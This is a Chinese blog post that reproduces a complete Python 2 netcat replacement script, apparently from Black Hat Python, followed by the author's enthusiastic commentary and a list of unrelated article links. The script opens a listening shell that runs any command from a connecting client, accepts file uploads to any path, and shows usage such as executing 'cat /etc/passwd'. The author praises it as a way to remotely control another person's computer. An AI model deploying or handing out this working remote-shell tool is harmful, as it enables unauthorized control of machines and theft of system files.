1. #!/opt/local/bin/python2.7
  2.  
  3. import sys
  4. import socket
  5. import getopt
  6. import threading
  7. import subprocess
  8.  
  9. # define some global variables
  10. listen = False
  11. command = False
  12. upload = False
  13. execute = ""
  14. target = ""
  15. upload_destination = ""
  16. port = 0
  17.  
  18. # this runs a command and returns the output
  19. def run_command(command):
  20. # trim the newline
  21. command = command.rstrip()
  22.  
  23. # run the command and get the output back
  24. try:
  25. output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
  26. except:
  27. output = "Failed to execute command.\r\n"
  28.  
  29. # send the output back to the client
  30. return output
  31.  
  32. # this handles incoming client connections
  33. def client_handler(client_socket):
  34. global upload
  35. global execute
  36. global command
  37.  
  38. # check for upload
  39. if len(upload_destination):
  40.  
  41. # read in all of the bytes and write to our destination
  42. file_buffer = ""
  43.  
  44. # keep reading data until none is available
  45. while True:
  46. data = client_socket.recv(1024)
  47.  
  48. if not data:
  49. break
  50. else:
  51. file_buffer += data
  52.  
  53. # now we take these bytes and try to write them out
  54. try:
  55. file_descriptor = open(upload_destination, "wb")
  56. file_descriptor.write(file_buffer)
  57. file_descriptor.close()
  58.  
  59. # acknowledge that we wrote the file out
  60. client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
  61. except:
  62. client_socket.send("Failed to save file to %s\r\n" % upload_destination)
  63.  
  64. # check for command execution
  65. if len(execute):
  66. # run the command
  67. output = run_command(execute)
  68.  
  69. client_socket.send(output)
  70.  
  71. # now we go into another loop if a command shell was requested
  72. if command:
  73.  
  74. while True:
  75. # show a simple prompt
  76. client_socket.send("<BHP:#> ")
  77.  
  78. # now we receive until we see a linefeed (enter key)
  79. cmd_buffer = ""
  80. while "\n" not in cmd_buffer:
  81. cmd_buffer += client_socket.recv(1024)
  82.  
  83. # we have a valid command so execute it and send back the results
  84. response = run_command(cmd_buffer)
  85.  
  86. # send back the response
  87. client_socket.send(response)
  88.  
  89. # this is for incoming connections
  90. def server_loop():
  91. global target
  92. global port
  93.  
  94. # if no target is defined we listen on all interfaces
  95. if not len(target):
  96. target = "0.0.0.0"
  97.  
  98. server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  99. server.bind((target, port))
  100.  
  101. server.listen(5)
  102.  
  103. while True:
  104. client_socket, addr = server.accept()
  105.  
  106. # spin off a thread to handle our new client
  107. client_thread = threading.Thread(target=client_handler, args=(client_socket,))
  108. client_thread.start()
  109.  
  110. # if we don't listen we are a client....make it so.
  111. def client_sender(buffer):
  112. client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  113.  
  114. try:
  115. # connect to our target host
  116. client.connect((target, port))
  117.  
  118. # if we detect input from stdin send it
  119. # if not we are going to wait for the user to punch some in
  120.  
  121. if len(buffer):
  122. client.send(buffer)
  123.  
  124. while True:
  125.  
  126. # now wait for data back
  127. recv_len = 1
  128. response = ""
  129.  
  130. while recv_len:
  131. data = client.recv(4096)
  132. recv_len = len(data)
  133. response += data
  134.  
  135. if recv_len < 4096:
  136. break
  137.  
  138. print response,
  139.  
  140. # wait for more input
  141. buffer = raw_input("")
  142. buffer += "\n"
  143.  
  144. # send it off
  145. client.send(buffer)
  146.  
  147. except:
  148. # just catch generic errors - you can do your homework to beef this up
  149. print "[*] Exception! Exiting."
  150.  
  151. # teardown the connection
  152. client.close()
  153.  
  154. def usage():
  155. print "Netcat Replacement"
  156. print
  157. print "Usage: bhpnet.py -t target_host -p port"
  158. print "-l --listen - listen on [host]:[port] for incoming connections"
  159. print "-e --execute=file_to_run - execute the given file upon receiving a connection"
  160. print "-c --command - initialize a command shell"
  161. print "-u --upload=destination - upon receiving connection upload a file and write to [destination]"
  162. print
  163. print
  164. print "Examples: "
  165. print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
  166. print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
  167. print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
  168. print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
  169. sys.exit(0)
  170.  
  171. def main():
  172. global listen
  173. global port
  174. global execute
  175. global command
  176. global upload_destination
  177. global target
  178.  
  179. if not len(sys.argv[1:]):
  180. usage()
  181.  
  182. # read the commandline options
  183. try:
  184. opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
  185. ["help", "listen", "execute", "target", "port", "command", "upload"])
  186. except getopt.GetoptError as err:
  187. print str(err)
  188. usage()
  189.  
  190. for o, a in opts:
  191. if o in ("-h", "--help"):
  192. usage()
  193. elif o in ("-l", "--listen"):
  194. listen = True
  195. elif o in ("-e", "--execute"):
  196. execute = a
  197. elif o in ("-c", "--commandshell"):
  198. command = True
  199. elif o in ("-u", "--upload"):
  200. upload_destination = a
  201. elif o in ("-t", "--target"):
  202. target = a
  203. elif o in ("-p", "--port"):
  204. port = int(a)
  205. else:
  206. assert False, "Unhandled Option"
  207.  
  208. # are we going to listen or just send data from stdin
  209. if not listen and len(target) and port > 0:
  210. # read in the buffer from the commandline
  211. # this will block, so send CTRL-D if not sending input
  212. # to stdin
  213. buffer = sys.stdin.read()
  214.  
  215. # send data off
  216. client_sender(buffer)
  217.  
  218. # we are going to listen and potentially
  219. # upload things, execute commands and drop a shell back
  220. # depending on our command line options above
  221. if listen:
  222. server_loop()
  223.  
  224. main()

这段代码是我至今看到的最骚的一段代码了,贼牛逼。这段代码即使一个套接子的客户端,又是一个套接字的服务端,可以利用shell远程控制对方的计算机。

for example

首先执行python test.py -l -p 9999,用作一个服务端

然后执行python test.py -t localhost -p 9999

然后按下ctrl+d,就可以输入命令了,是不是贼强,我在去把代码精读一下。

python实现netcat部分功能源代码的更多相关文章

  1. [AS3]as3画笔实例实现橡皮擦功能源代码

    [AS3]as3画笔实例实现橡皮擦功能源代码 //主容器 var main:Sprite = new Sprite(); main.mouseEnabled = false; addChild(mai ...

  2. Atitit php java python nodejs错误日志功能的比较

    Atitit php  java  python  nodejs错误日志功能的比较 1.1. Php方案 自带 1 1.2. Java解决方案 SLF4J 1 1.3. Python解决方案 自带lo ...

  3. Python实现进度条功能

    Python实现进度条功能 import sys, time def progress(percent, width=50): # 设置进度条的宽度 if percent >= 100: # 当 ...

  4. python实现简单爬虫功能

    在我们日常上网浏览网页的时候,经常会看到一些好看的图片,我们就希望把这些图片保存下载,或者用户用来做桌面壁纸,或者用来做设计的素材. 我们最常规的做法就是通过鼠标右键,选择另存为.但有些图片鼠标右键的 ...

  5. [python爬虫]简单爬虫功能

    在我们日常上网浏览网页的时候,经常会看到某个网站中一些好看的图片,它们可能存在在很多页面当中,我们就希望把这些图片保存下载,或者用户用来做桌面壁纸,或者用来做设计的素材. 我们最常规的做法就是通过鼠标 ...

  6. Python:安装mssql模块功能,并实现与sqlserver连接、查询

    由于我系统是x64系统,所以下载python2.7 x64.下载地址:https://www.python.org/downloads/release/python-2712/, 经过测试发现这个版本 ...

  7. python10min系列之面试题解析:python实现tail -f功能

    同步发布在github上,跪求star 这篇文章最初是因为reboot的群里,有人去面试,笔试题有这个题,不知道怎么做,什么思路,就发群里大家讨论 我想了一下,简单说一下我的想法吧,当然,也有很好用的 ...

  8. Python实现脚本锁功能,同时只能执行一个脚本

    1. 文件锁 脚本启动前检查特定文件是否存在,不存在就启动并新建文件,脚本结束后删掉特定文件. 通过文件的判断来确定脚本是否正在执行. 方法实现也比较简单,这里以python脚本为例 #coding= ...

  9. python查询修改配置文件功能

    阅读目录 一.python查询功能代码 1.查询修改配置文件 global log 127.0.0.1 local2 daemon maxconn 256 log 127.0.0.1 local2 i ...

随机推荐

  1. 谷歌浏览器内核Cef js代码整理(一)

    尊重作者原创,未经作者允许不得转载!作者:xtfnpgy,原文地址: https://www.cnblogs.com/xtfnpgy/p/9285359.html 一.js基础知识 <!--   ...

  2. 四、Html列表、块、布局

  3. 性能测试day07_性能瓶颈和分析

    其实如果之前都做的很到位的话,那么再加上APM工具(dynaTrace等),监控到非常细节,那么我们跑一个业务,我们就能完全清楚的知道每个请求的时间,也能知道请求所产生sql的时间,这样你自然而然都知 ...

  4. thinkphp5 与 endroid 二维码生成

    windows compser安装endroid/qrcode,自己安装好composer工具; 1. 项目目录 文件 composer.json require 里添加 "endroid/ ...

  5. uva-10382-贪心

    题意:对于长为L,宽为W的矩形草地,需要对它进行浇水,总共有n个水龙头,给每个水龙头的浇水半径,和位置.求覆盖整个草地需要的最小水龙头数量. 如图,把浇水的面积转换成矩形,然后就和区间覆盖一样了,直接 ...

  6. ---Intel SSD 750 under Linux

    https://wiki.archlinux.org/index.php/Solid_State_Drives/NVMe

  7. css实现文本超出部分省略号显示

    一般超出文本显示分为两种:单行超出文本和多行超出文本省略号显示,实现方式使用纯css实现: div { // 单行 white-space: nowrap; overflow: hidden; tex ...

  8. docker 部署tomcat

    使用Docker搭建Tomcat运行环境 1 准备宿主系统 准备一个 CentOS 7操作系统,具体要求如下: 必须是 64 位操作系统 建议内核在 3.8 以上 通过以下命令查看您的 CentOS ...

  9. Linux下NFS的搭建与配置

    一.简介 1.NFS 是Network File System的缩写,即网络文件系统.一种使用于分散式文件系统的协定,由Sun公司开发,于1984年向外公布. 2.NFS可实现Linux系统之间的文件 ...

  10. CSS3 Box-sizing(转载)

    转载自:W3CPLUS Airen的博客:http://www.w3cplus.com/content/css3-box-sizing box-sizing是CSS3的box属性之一.一说到CSS的盒 ...